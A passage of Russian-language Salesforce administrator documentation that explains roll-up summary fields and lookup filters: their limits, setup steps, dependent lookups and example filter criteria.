объектом

– Возможности, использующие значения связанных продуктов возможностей

– Организации, использующие значения связанных возможностей
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– Кампании, использующие статус участника кампании или значения настраиваемых полей участника кампании

Прим.: Полянастраиваемойформулыучастникакампании, ссылающиесянаполя, извлеченныеизинтересов
или контактов, не поддерживаются.

• Типыполей, доступныеполюсводногорезюмированиядлявычисления, определяютсятипомвычисления. Например:

– Поля чисел, валюты и процентов доступны при выборе типа сводки SUM.

– Поля чисел, валюты, процентов, даты и даты/времени доступны при выборе типа сводки MIN или MAX.

• Иногда тип поля, упоминаемого в поле сводного резюмирования, может быть недоступен для изменения.

• Убедитесь, чтофильтрсводногорезюмированиянеобрабатываетполеформулы, возвращающеезначение «#Ошибка!».
Если один из критериев фильтрации использует поле формулы, возвращающее ошибку, то соответствующие
совпаденияневозвращаются. Например, еслифильтрсводногорезюмированияиспользуетзначение «"Полеформулы"
"равно" "10"», а две записи содержат ошибки, при этом одна из них содержит поле формулы со значением «10», то
система возвращает только запись со значением «10».

• Система Salesforceне пересчитывает значение поля сводного резюмирования кампаниипри удаленииинтересов или
контактов. Чтобы пересчитать значение вручную, установите флажок «Выполнить пакетный пересчет данного
поля» на странице редактирования поля сводного резюмирования кампании.

• Поля типа «Областьподробного текста», «Раскрывающийся список сомножественнымвыбором», поля «Описание»,
системные поля (например, «Последнее действие»), поля формулы кросс-объекта и поля поиска не могут
использоваться в столбце поля для фильтров сводного резюмирования.

• Поля типа «Автонумерация» недоступны полю сводного резюмирования для вычисления суммарного значения.

• Взаимосвязьобъекта «Основная — подробная» неможетбытьпреобразованавовзаимосвязь «Поиск» после создания
поля сводного резюмирования для объекта.

• Поля сводного резюмирования недоступны для соотнесения полей преобразованных интересов.

Управление

• Поле сводного резюмирования, которое не содержит ссылки на поля кросс-объекта или функции, извлекающие
значения в процессе работы (например, NOW или TODAY), может вычислять значения полей формулы.

Прим.: Поле формулы может возвращать значение «#Ошибка!», влияющее на суммарное итоговое значение.
При использовании типа сводного резюмирования COUNT записи добавляются независимо от наличия
ошибочногополяформулы, но, еслиполеформулы «Поле для объединения» возвращаетзначение «#Ошибка!»,
то данные значения формулы исключаются из вычислений типа MIN, MAX и SUM.

• Изменениязначенияполясводногорезюмированиямогутинициироватьвыполнениеправилназначения. Еслиполе
сводного резюмирования является частью критерия правила назначения, то новое значение поля используется для
оценки необходимости переназначения записи.

• Полесводногорезюмированияможетинициироватьбизнес-правилаипроверкиполей. Темнеменее, бизнес-правила
и проверки полей не выполняются, если следующие изменения инициируют пакетныйпересчет значений сводного
резюмирования:

– Изменение определения сводного резюмирования (например, объединяемый объект, функция или поле)

– Изменение выражения поля формулы, используемого полем сводного резюмирования

– Замена значений раскрывающегося списка для полей, используемых фильтром сводного резюмирования

– Изменение определений типа записи раскрывающегося списка

– Изменение курсов обмена валюты

– Изменение записей прайс-листа
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• Вычисление значений поля сводного резюмирования может занять до 30 минут, в зависимости от количества
измененных записей и других факторов.

• Пользователям не запрещается создавать поля сводного резюмирования, которые могут возвращать недопустимые
значения (например, 29 февраля вневисокосныйгод). Еслиполе сводногорезюмированиявозвращаетнедопустимое
значение, то значение не пересчитывается, а значок недопустимого поля сводного резюмирования ( ) продолжает
отображаться до изменения суммируемых значений.

• Если организация использует мультивалюту, то валюта основной записи определяет валюту поля сводного
резюмирования. Например, если основная и подробная записи используют разные валюты, то значение подробной
записи преобразуется в валюту основной записи.

• Изменениекоэффициентапреобразованияприводиткпересчетуполейсводногорезюмирования. Есливыиспользуете
несколько валют, мы рекомендуем изменить коэффициент преобразования из раздела «Управление валютами» в
меню «Настройка», а не в «API». Если вы измените коэффициент из раздела «API», связанные задания, которым менее
24 часов, могут помешать вашим изменениям. Подробнее см. «Редактирование курсов обмена».

• Если организация использует функцию расширенного управления валютами, то поля сводного резюмирования
валюты становятся недействительными, если относятся к организациям и суммируют значения возможностей или
относятся к возможностям и суммируют значения настраиваемых объектов.

• Система Salesforce препятствует сохранению записи, если данная операция может повредить связанную запись.
Например, если основная запись использует правило проверки, согласно которому значение поля сводного
резюмирования должно превышать «100», а изменение, внесенное пользователем в связанную дочернюю запись,
увеличивает значение выше «100», то сохранение записи будет недоступно.

• Если поле поиска ссылается на удаленную запись, то система Salesforce удаляет значение поля поиска по умолчанию.
При необходимости записи, используемые во взаимосвязи поиска, могут быть заблокированы от удаления.

Поле сводного резюмирования, параметру «Тип сводки» которого задано значение COUNT или SUM, может
использовать поле поиска, при условии, что его параметру «Что делать при удалении записи поиска?» задано
значение «Запретить удаление записи поиска, которая является частью взаимосвязи поиска.». При выборе значения
«Удалить значение данного поля. Данный параметр недоступен в том случае, если этому полю присвоен статус
обязательного.» пользовательнеможет создатьполе сводногорезюмирования COUNT или SUM, извлекающееданные
из поля поиска.

Рекомендации
• Еслиполясводногорезюмированиявычисляютзначения, которыедолжныбытьскрытыотпользователей, рекомендуем

применить параметры безопасности поля. Тем не менее, поля, скрытые от пользователей посредством параметров
безопасности поля, заданных для подробной записи, обрабатываются полем сводного резюмирования.

• Прииспользованииправилпроверкипросмотритеихвлияниенаполясводногорезюмирования. Изменениезначений
в подробных записях инициирует изменение значения в поле сводного резюмирования. Таким образом, ошибки
проверки могут отображаться при сохранении подробной или основной записи.

• Поля сводного резюмирования не отображаются на страницах редактирования, поэтому могут использоваться в
правилах проверки, но только не в качестве расположения ошибки.

• Рекомендуемизбегатьиспользованияполясводногорезюмированиявдочернейзаписи. Полясводногорезюмирования,
используемые дочерними записями, могут содержать устаревшие значения ввиду невозможности обновления их
родительских записей. Взамен, поля сводного резюмирования должны использоваться родительскими записями.
Поля сводного резюмирования будут всегда содержать обновленные значения, так как данное правило выполняется
только после обновления родительского значения.
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Еслиродительскоеполесводногорезюмированияограничивается 25 записями, рекомендуемсоздатьправилапроверки
длядочернихобъектов. Придобавлениидочернейзаписиправилопроверкидлядочернегообъектаможетпроверять
количество записей на соответствие заданному ограничению.

AND(ISNEW(), Sample.Line_Count__c >= 25)

• Преждечемсоздатьполя сводногорезюмирования, составьтеподробныйпланихвнедрения. Изменениевыбранного
подробного объекта или удаление поля, используемого в определении сводного резюмирования, недоступно после
создания полей.

• Функциярасширенногоуправлениявалютамивлияетнаполя сводногорезюмирования. Еслиорганизациявключает
функциюрасширенногоуправлениявалютами, тополясводногорезюмированиявалюты, относящиесякорганизациям
исуммирующиезначениявозможностейилиотносящиесяк возможностямисуммирующиезначениянастраиваемых
объектов, могутбыть удалены. Впротивномслучае, значокнедопустимогополя сводногорезюмированияпродолжает
отображаться напротив полей, значения которых больше не вычисляются.

• Поле сводного резюмирования не поддерживает автоматически производные поля (например, текущая дата или
текущийпользователь). Запрещеннымиполями являются поляформулы, содержащиефункции, которые извлекают
значения в процессе работы (например, DATEVALUE, NOW и TODAY). Поля формулы, содержащие поля слияния
связанного объекта, также не могут использоваться полями сводного резюмирования.

СМ. ТАКЖЕ:

Ограничения для настраиваемых полей объекта

Определение полей сводного резюмирования

Создание настраиваемых полей
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Определение полей сводного резюмирования

ВЕРСИИ

Доступно в версиях:
Salesforce Classic и
Lightning Experience

Доступно в версиях: Contact
Manager, Group Edition,
Professional Edition,
Enterprise Edition,
Performance Edition,
Unlimited Edition,
Developer Edition и
Database.com.

ПОЛНОМОЧИЯ
ПОЛЬЗОВАТЕЛЯ

Дляпросмотра определений
полей сводного
резюмирования:
• «Просмотр настройки и

конфигурации»

Для редактирования
определений полей
сводного резюмирования:
• «Настройка

приложения»

Поля сводного резюмированиямогут быть заданыдля объекта, являющегося основным
во взаимосвязи «Основная — подробная». Если взаимосвязь отсутствует, создайте
взаимосвязь «Основная — подробная» между основным объектом, отображающим
значение, и подробным объектом, содержащим резюмируемые записи.

Чтобыопределитьполе сводногорезюмирования, выполнитеуказанныенижедействия.

1. Создайтенастраиваемоеполедлянужногообъекта. Полярезюмированиясуммируют
значенияиз записейсвязанногообъекта, поэтомуобъект, используемыйдлясоздания
поля, должен являться основным во взаимосвязи «Основная — подробная».
Дополнительную информацию о создании настраиваемого поля см. в разделе
«Создание настраиваемых полей» на странице 4495.

2. Выберите тип поля «Сводное резюмирование» и нажмите кнопку «Далее».

3. Введите метку поля и любые другие атрибуты. Нажмите кнопку «Далее».

4. Выберите подробный объект во взаимосвязи «Основная — подробная». Данный
объект содержит записи, подлежащие резюмированию.

5. Выберите нужный тип резюмирования.

ОписаниеТип

Данныйтипрезюмированиясуммируетколичествосвязанныхзаписей.COUNT

Данный тип резюмирования суммирует значения поля, выбранного
в параметре «Поле для объединения». Доступны только поля чисел,
валюты и процентов.

SUM

Данныйтипрезюмированияотображаетминимальноезначениеполя,
выбранноговпараметре «Поле для объединения», длявсехсвязанных
записей. Доступны только поля чисел, валюты, процентов, даты и
даты/времени.

MIN

Данныйтипрезюмированияотображаетмаксимальноезначениеполя,
выбранноговпараметре «Поле для объединения», длявсехсвязанных

MAX

записей. Доступны только поля чисел, валюты, процентов, даты и
даты/времени.

6. Чтобыопределитьнужнуюгруппузаписей, введитекритериифильтрации. Есливорганизациивключенамногоязычная
поддержка, введите значения фильтра на языке, используемом в организации по умолчанию.

Прииспользованиираскрывающихсясписковдляопределениякритериевфильтрациивыбранныезначенияхранятся
на стандартном языке организации. При редактировании или клонировании текущих критериев фильтрации
рекомендуемсначала задатьполю «Стандартный язык» на странице «Сведенияокомпании» язык, использовавшийся
дляопределенияисходныхкритериевфильтрации. Впротивномслучаекритериифильтрациимогутнебытьоценены
как ожидалось.

7. Нажмите кнопку «Далее».

8. Чтобы определить уровень доступности поля для конкретных профилей, настройте параметры безопасности поля
и нажмите кнопку «Далее».
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9. Выберите макеты страниц, которые должны отображать данное поле. Поле добавляется в конец первого
двухстолбцового раздела макета страницы. Настраиваемое поле пользователя автоматически добавляется в конец
страницы сведений о пользователе.

10. Позавершениинажмите кнопку «Сохранить». Чтобысоздать дополнительныенастраиваемыеполя, нажмите кнопку
«Сохранить и создать».

СМ. ТАКЖЕ:

Поле сводного резюмирования

Фильтры поиска

ВЕРСИИ

Доступно в версиях:
Salesforce Classic и
Lightning Experience

Доступно в версиях: все
версии, кроме
Database.com Edition.

ПОЛНОМОЧИЯ
ПОЛЬЗОВАТЕЛЯ

Для управления фильтрами
поиска:
• «Настройка

приложения»

Фильтры поиска позволяют повысить не только качество данных, но и
производительностьпользователей. Фильтрыпоиска — этопараметрыадминистратора,
ограничивающиедоступныезначенияирезультатыдиалоговогоокнапоискадляполей
взаимосвязи «Поиск», «Основная — подробная» и «Иерархия».

Администраторы определяют ограничения путем настройки критериев фильтрации,
сравнивающих поля и значения для перечисленных ниже элементов.

• Текущая запись (источник)

• Объект поиска (цель)

• Запись, полномочия и роль пользователя

• Записи, связанные с целевым объектом напрямую

Например, выполните указанные ниже действия.

• Ограничьте поле возможностей «Имя организации», чтобы просмотреть только
организации с типом записи «Клиент» и скрыть организации с типом записи
«Партнер» или «Конкурент».

• Ограничьте поле возможностей «Имя организации», чтобы просмотреть только
активные организации.

• Ограничьте поле обращений «Контакт», чтобыпросмотреть только контакты, связанные с организацией, указанной
в поле обращения «Имя организации».

• Ограничьте поле обращений «Имя организации», чтобы разрешить создание или редактирование обращений для
организаций, расположенных за пределами США, только пользователям с профилем «Международные продажи».

Совет: Система Salesforceпредлагает спискикритериевфильтрациипоисканаосновевзаимосвязеймеждуобъектами
организации. Чтобы воспользоваться этими списками для определения фильтра поиска, щелкните «Вставить
предложенные критерии».

Администраторы могут присвоить фильтрам поиска статус обязательных или дополнительных.

• Если поле использует обязательные фильтры поиска, то диалоговое окно поиска отображает только значения,
соответствующие критериям фильтрации поиска. Кроме того, пользователи не могут сохранять недопустимые
значения, введенныевполе вручнуюприредактированиизаписи. Припопытке сохранениянедопустимого значения
система Salesforce отображает сообщение об ошибке, которое может быть настроено администраторами.

• Если поле использует дополнительныефильтры поиска, то диалоговое окно поиска изначально отображает только
значения, соответствующие критериямфильтрации поиска. Чтобы удалитьфильтр и просмотреть все значения для
поля поиска, рекомендуем воспользоваться ссылкой «Показать все результаты» в диалоговом окне поиска. Кроме
того, дополнительные фильтры поиска позволяют сохранять значения, которые не соответствуют критериям
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фильтрации поиска, а система Salesforce не отображает сообщение об ошибке при попытке сохранения подобных
значений.

Критериифильтрациипоискамогут сравнивать поля исходного объекта с разными типамиполейцелевого объекта при
условии их совместимости.

Совместимые типы полей целевого объектаТип поля исходного объекта

Валюта, сводное резюмированиеВалюта

Дата, дата/время, сводное резюмированиеДата

Дата, дата/время, сводное резюмированиеДата/время

Иерархия, поиск, основная—подробнаяИерархия

Иерархия, поиск, основная—подробнаяПоиск

Поиск, иерархия, основная—подробнаяОсновная–подробная

Число, процент, сводное резюмированиеЧисло

Число, процент, сводное резюмированиеПроцент

Текст, область текста, эл. почта, URL-адресРаскрывающийся список

Валюта, число, дата, дата/время, сводное резюмированиеСводное резюмирование

Поддерживаемые объекты
Система Salesforce поддерживает фильтры поиска для полей взаимосвязи, указывающие на компоненты ниже.

• Организации

• Активы

• Эмблемы

• Получено эмблем

• Часы работы

• Кампании

• Обращения

• Контакты

• Папки с содержимым

• Контракты

• Подтверждения

• Права

• Идеи

• Интересы

• Возможности

• Заказать продукты

• Заказы

• Прайс-листы
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• Продукты

• Сметы

• Сервисные контракты

• Пользователи навыка

• Навыки

• Социальные образы

• Решения

• Благодарность

• Организации инициализации пользователя

• Журналы инициализации пользователя

• Запросы на инициализацию пользователя

• Пользователи

• Элементы строки заказа-наряда

• Заказы-наряды

• Зоны

• Настраиваемые объекты

СМ. ТАКЖЕ:

Примечания к фильтрам поиска

Примерыфильтров поиска

Полезные советы: создание фильтров поиска для полей взаимосвязи

Определение фильтров поиска

ВЕРСИИ

Доступно в версиях:
Salesforce Classic и
Lightning Experience

Доступно в версиях: все
версии, кроме
Database.com Edition.

ПОЛНОМОЧИЯ
ПОЛЬЗОВАТЕЛЯ

Для определения фильтров
поиска:
• «Настройка

приложения»

1. Чтобы создать фильтры поиска для новых полей взаимосвязи, выполните действие
3 мастера настраиваемых полей.

a. В разделе настроек управления для объекта перейдите в раздел «Поля».

b. Щелкнитессылку«Правка»напротивименинужногополявзаимосвязи «Поиск»
или «Основная—подробная».

2. Щелкните«Показатьпараметрыфильтрации»вразделе «Параметрыфильтрации
поиска».

3. Укажите критерии фильтрации, которым должна соответствовать запись. Чтобы
задатькритерии, щелкните«Вставитьпредложенныекритерии»ивоспользуйтесь
списком предложенных критериев или введите собственные критерии вручную.
Чтобыввести собственныекритериивручную, выполните указанныенижедействия.

a. В первом столбце щелкните значок поиска или начните заполнять текстовое
поле и выберите нужное поле.

b. Во втором столбце выберите нужный оператор.

c. В третьем столбце выберите «Значение», чтобы разрешить системе Salesforce
сравнение поля первого столбца со статическим значением, или «Поле», чтобы
разрешить системе Salesforce сравнение поля первого столбца со значением другого поля.
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d. В четвертом столбце введите значение или выберите поле, которое должно использоваться системой Salesforce
для сравнения с полем первого столбца.

Прим.:

• Чтобы добавить логические условия, щелкните «Добавить логикуфильтра».

• Выберите предложенное поле из текстового поля «Поле». Вы можете только выбирать поля по текущей
записи, объекту поиска или записи пользователя. При необходимости выберите связанные поля, которые
отделены от объекта поиска одной взаимосвязью. Система Salesforce отображает список доступных полей и
взаимосвязей при нажатии значка поиска или установке курсора в текстовом поле.

• Критерии фильтрации поиска могут сравнивать поля разных типов при условии их совместимости.

4. Укажите статус фильтра: обязательный или дополнительный. Если поле использует дополнительные фильтры
поиска, тодиалоговоеокнопоискаизначальноотображаеттолькозначения, соответствующиекритериямфильтрации
поиска. Чтобы удалить фильтр и просмотреть все значения для поля поиска, рекомендуем воспользоваться ссылкой
«Показать все результаты» в диалоговом окне поиска. Кроме того, дополнительные фильтры поиска позволяют
сохранять значения, которые не соответствуют критериям фильтрации поиска, а система Salesforce не отображает
сообщение об ошибке при попытке сохранения подобных значений.

Если фильтры поиска являются обязательными, выберите сообщение об ошибке, которое должно отображаться
системой Salesforce при вводе недопустимого значения: стандартное или настраиваемое.

5. При необходимости введите текст, который должен отображаться в диалоговом окне поиска. Текст должен быть
удобен для поисков и пояснять бизнес-правило, реализуемое фильтром поиска.

6. Установите флажок «Включить данный фильтр».

7. Сохраните внесенные изменения.

СМ. ТАКЖЕ:

Примечания к фильтрам поиска

Зависимый поиск

Примерыфильтров поиска

Полезные советы: создание фильтров поиска для полей взаимосвязи

Поиск по параметрам управления объектами
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Удаление или деактивация фильтров поиска

ВЕРСИИ

Доступно в версиях:
Salesforce Classic и
Lightning Experience

Доступно в версиях: все
версии, кроме
Database.com Edition.

ПОЛНОМОЧИЯ
ПОЛЬЗОВАТЕЛЯ

Для определения фильтров
поиска:
• «Настройка

приложения»

1. Изпараметровуправлениядляобъектовполявзаимосвязиперейдитевраздел «Поля».

2. Прокрутите страницу до связанного списка «Настраиваемые поля и взаимосвязи».

3. Щелкните имя поля, содержащего фильтр поиска.

4. Нажмите кнопку «Правка».

5. Чтобыдеактивироватьфильтрпоиска, снимите «Включить данный фильтр», затем
сохраните внесенные изменения.

Деактивация фильтра поиска сохраняет конфигурациюфильтра поиска, но:

• препятствует его применению к полю взаимосвязи

• препятствует его влиянию на ограничения для ссылок кросс-объекта

• удаляет его как зависимость для полей, используемых критериямифильтрации
поиска

6. Чтобыудалитьфильтрпоиска, нажмите «Очиститькритериифильтрации», затем
сохраните внесенные изменения.

Удаление фильтра поиска является необратимым. Удаленные фильтры поиска не
могут быть восстановлены.

СМ. ТАКЖЕ:

Зависимый поиск

Примечания к фильтрам поиска

Поиск по параметрам управления объектами

Просмотр списка фильтров поиска для целевого объекта

ВЕРСИИ

Доступно в версиях:
Salesforce Classic и
Lightning Experience

Доступно в версиях: все
версии, кроме
Database.com Edition.

ПОЛНОМОЧИЯ
ПОЛЬЗОВАТЕЛЯ

Для определения фильтров
поиска:
• «Настройка

приложения»

Система позволяет быстро просматривать список всех фильтров поиска,
ограничивающихзначениядлякаждогоцелевогообъекта. Даннаявозможностьпозволяет
создавать похожие фильтры для целевого объекта. Кроме того, фильтры поиска,
ссылающиеся на поля связанных объектов, учитываются ограничением для ссылок
кросс-объекта, котороеопределяет количество уникальныхвзаимосвязей, разрешенных
для целевого объекта. Список «Связанные фильтры поиска» позволяет просматривать
фильтры поиска, которые могут влиять на данное ограничение.

Чтобы увидеть, какие фильтры поиска влияют на предел для конкретного целевого
объекта, перейдитеизпараметровуправлениядляобъектак соответствующимфильтрам
поиска.

СМ. ТАКЖЕ:

Зависимый поиск

Примечания к фильтрам поиска
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Зависимый поиск

ВЕРСИИ

Доступно в версиях:
Salesforce Classic и
Lightning Experience

Доступно в версиях: все
версии.

ПОЛНОМОЧИЯ
ПОЛЬЗОВАТЕЛЯ

Для управления зависимыми
поисками:
• «Настройка

приложения»

Зависимыйпоиск — этополе взаимосвязи, содержащеефильтрпоиска, которыйссылается
наполяисходногообъекта.Например, полеобращения «Контакт» можетбытьнастроено
такимобразом, чтобыотображалисьтолькотеконтакты, которыесвязанысорганизацией,
указанной в поле обращения «Имя организации».

Еслипользовательизменяет значение ссылочногополя висходномобъекте, то система
Salesforceнемедленнопроверяет значение зависимогопоискана соответствиекритериям
фильтрации поиска. Если значение не соответствует указанным критериям, то
отображается сообщение об ошибке, а запись может быть сохранена только после
выбора допустимого значения.

Еслиссылочноеполеисходногообъектаявляетсяполемвзаимосвязипоиска, взаимосвязи
«Основная — подробная» или иерархической взаимосвязи, то значение не может быть
измененометодомввода. Чтобыизменитьзначение, рекомендуемнажать значокпоиска
и выбрать нужное значение в диалоговом окне поиска.

Совет: Страницы Visualforce не поддерживают зависимые поиски.

СМ. ТАКЖЕ:

Определение фильтров поиска

Примерыфильтров поиска

Полезные советы: создание фильтров поиска для полей взаимосвязи

Примечания к фильтрам поиска

ВЕРСИИ

Доступно в версиях:
Salesforce Classic и
Lightning Experience

Доступно в версиях: все
версии, кроме
Database.com Edition.

ПОЛНОМОЧИЯ
ПОЛЬЗОВАТЕЛЯ

Для управления фильтрами
поиска:
• «Настройка

приложения»

• Настранице «Поля» значок обозначает всеполя с активнымифильтрамипоиска.
Значок определяет фильтр поиска, являющийся обязательным.

• Фильтрыпоиска, созданныев системе Salesforce, такжеотображаютсянапартнерском
и клиентском порталах.

• Фильтры поиска чувствительны к регистру.

• Если обязательныйфильтр поиска с настраиваемым сообщением об ошибке
преобразуетсявдополнительный, тосистемаSalesforce удаляетсообщениеобошибке.

• При создании фильтра поиска, аннулирующего текущее значение поля, система
Salesforce сохраняетданное значение, ноотображает сообщениеобошибкеитребует
изменения недопустимого значения перед сохранением редактируемой записи.

• Система Salesforceпрепятствует сохранениюизменений, обуславливающихналичие
недопустимых значений в обязательных фильтрах поиска для связанных записей.

• Фильтрыпоискаподдерживаютсяинтерфейсом Salesforce API 16.0 илиболеепоздней
версии. Фильтры поиска применяются при загрузке данных посредством API.

• Еслифильтр поиска ограничивается только неактивными пользователями, то поле
взаимосвязи не содержит допустимых значений, так как поля взаимосвязи,
указывающие на объект «Пользователь», поддерживают только активных
пользователей.

• Присозданииотфильтрованногопоискадляполяпоискаподругомуобъектуобаобъектадолжныбытьодновременно
развернуты в организации.
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• Система Salesforce не отображает сообщение об ошибке, если значение управляющего поля аннулирует значение
зависимого поля взаимосвязи «Основная — подробная».

• Страницы Visualforce не поддерживают зависимые поиски.

Охватывающие взаимосвязи в фильтрах поиска

Критериифильтрациимогут содержатьполя, связанныесцелевымобъектомнапрямую (толькоодинуровень). Например,
еслиполепоиска указывает на контакты, тофильтрпоискаможет ссылаться на поля организации, связанной с контактом
посредствомполявзаимосвязи «Имя организации». Крометого, полепоискаможетссылатьсянаполяконтакта, связанного
с контактом посредством поля взаимосвязи «Подчиненный».

Прииспользованииобязательныхфильтровпоиска каждоеполе, используемоесвязаннымобъектомпоиска, учитывается
ограничениемпо количеству уникальных взаимосвязей, допустимому для ссылочного объекта, нонеисходного объекта.
Например, обе уникальные взаимосвязи, описанные выше, учитываются ограничением для объекта «Контакт».
Дополнительныефильтрыпоискане учитываютсяограничениемпоколичеству уникальныхвзаимосвязей, допустимому
для объекта.

Чтобы увидеть, какие фильтры поиска влияют на предел для конкретного целевого объекта, перейдите из параметров
управления для объекта к соответствующимфильтрам поиска.

Фильтры поиска и правила проверки

Правила проверки и фильтры поиска возвращают одинаковые результаты, но имеют разные преимущества. Ниже
перечислены условия использования фильтра поиска.

• Повышениеэффективностиработыпользователяпутемограниченияколичествадоступныхвариантов в диалоговом
окне поиска.

• Повышение эффективности работы пользователя путем автоматизациифильтров в диалоговых окнах поиска,
настраиваемых пользователями вручную.

Ниже перечислены условия использования правила проверки.

• Приближение к максимально допустимому количеству фильтров поиска.

• Применение сложного бизнес-правила, требующего использования формулы. Формулы могут ссылаться на поля,
которыенемогутиспользоватьсяосновнымикритериямифильтрации (например, поляродителяисходногообъекта).
Кроме того, формулы могут использовать функции. Например, функция ISNEW позволяет применять правило
только при создании записи, а функция ISCHANGED позволяет применять правило при изменении поля.

СМ. ТАКЖЕ:

Фильтры поиска

Зависимый поиск

Полезные советы: создание фильтров поиска для полей взаимосвязи
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Примечания к использованию фильтров поиска с организациями-лицами

ВЕРСИИ

Доступно в версиях:
Salesforce Classic и
Lightning Experience

Доступно в версиях: все
версии, кроме
Database.com Edition.

Ниже перечислены рекомендации по использованию организаций-лиц.

• Организации-лицанеподдерживаютфильтры «Контакт», ноподдерживаютфильтры
«Организация».Например, еслиполе «Организация» содержитфильтр зависимого
поиска, добавленный в организацию-лицо, то зависимые поиски поддерживаются.
Если поле «Контакт» содержит фильтр зависимого поиска, добавленный в
организацию-лицо, то зависимые поиски не поддерживаются.

• Критериифильтрации поиска для поля «Имя организации» применяются только
к организациям-компаниям, но не организациям-лицам. Например, при
использовании критерия фильтрации поиска «"Имя организации" не содержит
"диван"», организации-компании, имя которыхсодержит слово «диван» (например,
«Диваны от Ивана»), являются недопустимыми, тогда как организации-лица, имя которых содержит слово «диван»
(например, «Иван Диванов»), являются допустимыми и отображаются в диалоговом окне поиска для поля
«Организация». Чтобы отфильтровать записи по имени организации-лица, воспользуйтесь полем «Личное имя»
или «Фамилия».

• Чтобы ограничить допустимые значения поля поиска одним типом организации (организации-лица или
организации-компании), дополнитекритерийфильтрациипоискаполем «Является организацией-лицом». Например,
чтобыограничитьпоисктолькоорганизациями-лицами, введитеследующийкритерийфильтрациипоиска: «"Является
организацией-лицом" равно "Истина"».

• Фильтрыпоиска, ссылающиесянастандартныеполяорганизаций-лиц (например, поля «Эл. почта» и «Должность»),
не могут быть добавлены в пакет.

СМ. ТАКЖЕ:

Фильтры поиска

Рекомендации по использованию фильтров поиска

ВЕРСИИ

Доступно в версиях:
Salesforce Classic и
Lightning Experience

Доступно в версиях: все
версии, кроме
Database.com Edition.

Настраиваемая справка
Чтобыпредоставитьпользователямсведенияобизнес-правиле, выполняемомданным
фильтром, определите настраиваемую справку для полей с фильтрами поиска.
Например, еслифильтрпоискаограничиваетполевозможности «Имя организации»
толькоактивнымиорганизациями, определитенастраиваемуюсправку, содержащую
формулировку «Возможности могут быть связаны только с активными организациями».

Сообщения об ошибках
Настройте сообщения об ошибкахфильтра поиска, которые должныотображаться
пользователям при вводе недопустимых значений. Например, если фильтр поиска
ограничивает поле возможности «Имя организации» только активными
организациями, определите сообщение об ошибке, содержащее формулировку «Значение не существует или не
является активной организацией».

Важное замечание: СистемаSalesforceпереводитстандартныесообщенияобошибкахдляобязательныхфильтров
поиска, но не переводит настраиваемые сообщения об ошибках. Чтобы перевести настраиваемые сообщения
обошибкахфильтрапоиска, воспользуйтесьсредствомперевода. Чтобывосстановитьизмененноестандартное
сообщение об ошибке, щелкните «Возврат к стандартному сообщению».
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Работа с полями взаимосвязи «Основная—подробная»
Присозданиифильтрапоиска для поля взаимосвязи «Основная—подробная» убедитесь, что текущие значенияполя
во всех подробных записях соответствуют заданным критериям. Если текущее значение не соответствует заданным
критериям, то система Salesforceпрепятствует сохранениюизменений, внесенных в подробную запись. В этом случае
пользовательдолженсначалаизменитьзначениеосновнойзаписивсоответствиискритериями. Например, рассмотрим
настраиваемыйобъектсполемвзаимосвязи «Основная—подробная», указывающимнаорганизации. Приопределении
фильтрапоиска, исключающего все организации, поле «Дата создания» которых содержит дату, предшествующую
1 января 2009 года, убедитесьвотсутствиизаписейданногонастраиваемогообъекта, связанныхпосредствомвзаимосвязи
«Основная—подробная» с организацией, созданной до 2009 года. Чтобы выполнить быструю проверку, создайте
отчет, отображающий все организации, поле «Дата создания» которых содержит дату, предшествующую 1 января
2009 года.

Фильтры поиска на основе профиля
Чтобы определить разные критерии фильтрации для разных пользователей или разрешить администраторам ввод
значений, которые не соответствуют заданным критериям, выберите поле «Профиль текущего пользователя: код» в
критерии фильтрации. Ввиду технических ограничений для стандартных профилей, рекомендуем избегать
использования поля «Профиль текущего пользователя: имя».

Привводеполя «Профиль текущего пользователя: имя» или «Профиль: имя» в критерийфильтрациипоиска система
Salesforce отображает значок поиска в этой строке. Чтобы выбрать нужный профиль из списка текущих профилей,
щелкните значок поиска.

Коды и имена записей
Чтобыиспользовать конкретную запись в критериифильтрации, укажите код записи, а не ее имя. Вотличие от имен,
коды всегда являются уникальными.

Тестирование
Протестируйтесозданныйфильтрпоисканапредметегоограничения. Взависимостиотпредоставленныхполномочий,
полявзаимосвязимогутбытьдоступнынекоторымпользователямтолькодлячтения. Убедитесь, чтофильтрыпоиска
не препятствуют редактированию важных записей.

Зависимые поиски в макетах страниц и макетах мини-страниц на консоли
Ниже перечислены рекомендации по созданию макетов страниц с зависимыми поисками.

• Еслизависимыйпоискрасполагаетсявышеуправляющегополявмакете, рекомендуемназначитьфильтрупоиска
статусдополнительногоилиизменитьмакет. Перемещениеобязательногозависимогопоискавышеуправляющего
поляможет дезориентироватьпользователей, которыеобычно вводят данныеначиная с верхнейчасти страницы.

• Убедитесь, чтоуправляющиеизависимыеполядоступныпользователямдляисправлениянедопустимыхзначений.

Фильтры поиска и макет поиска «Поляфильтра поиска»
Рекомендуемизбегатьиспользованияодинаковыхполей в критериифильтрапоискаимакетепоиска «Поляфильтра
поиска». Принеобходимостиразрешитерезультатамсобственногонастраиваемогопоискапереопределятьфильтры
поиска, заданные администратором.

СМ. ТАКЖЕ:

Фильтры поиска

Полезные советы: создание фильтров поиска для полей взаимосвязи
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Примеры фильтров поиска

ВЕРСИИ

Доступно в версиях:
Salesforce Classic и
Lightning Experience

Доступно в версиях: все
версии, кроме
Database.com Edition.

ПОЛНОМОЧИЯ
ПОЛЬЗОВАТЕЛЯ

Для определения фильтров
поиска:
• «Настройка

приложения»

Типы записей в фильтрах поиска

Еслизначениеполявзаимосвязидолжносодержатьтолькозаписиопределенноготипа,
укажите тип записи в фильтре поиска. Например, если поле возможности «Имя
организации» должно содержать только организации с настраиваемым типом записи
«Организация-клиент», введите фильтр поиска ниже, чтобы разрешить пользователям
только создание или редактирование возможностей, связанных с организациями типа
«Организация-клиент», кроме организаций типа «Организация-партнер» и
«Организация-конкурент».

Критерийфильтрации
«"Имя организации: тип записи организации" равно "Организация-клиент"»

Настраиваемое сообщение об ошибке
Организация не существует или не является клиентом.

Текст окна поиска
Возможность может быть связана только с организациями-клиентами. Результаты
поиска отображают только организации-клиенты.

Статус записи в фильтрах поиска

Если значение поля взаимосвязи должно содержать только записи с определенным статусом, укажите статус в фильтре
поиска. Например, объект «Заявка о приеме на работу» содержит поле взаимосвязи, указывающее на объект «Позиция».
Если поле взаимосвязи должно содержать только открытые позиции, введите фильтр поиска ниже, чтобы разрешить
пользователям только создание или редактирование заявок для позиций, поле «Статус» которых содержит значение
«Открыто».

Критерийфильтрации
«"Позиция: статус" равно "Открыто"»

Настраиваемое сообщение об ошибке
Позиция не существует или закрыта.

Текст окна поиска
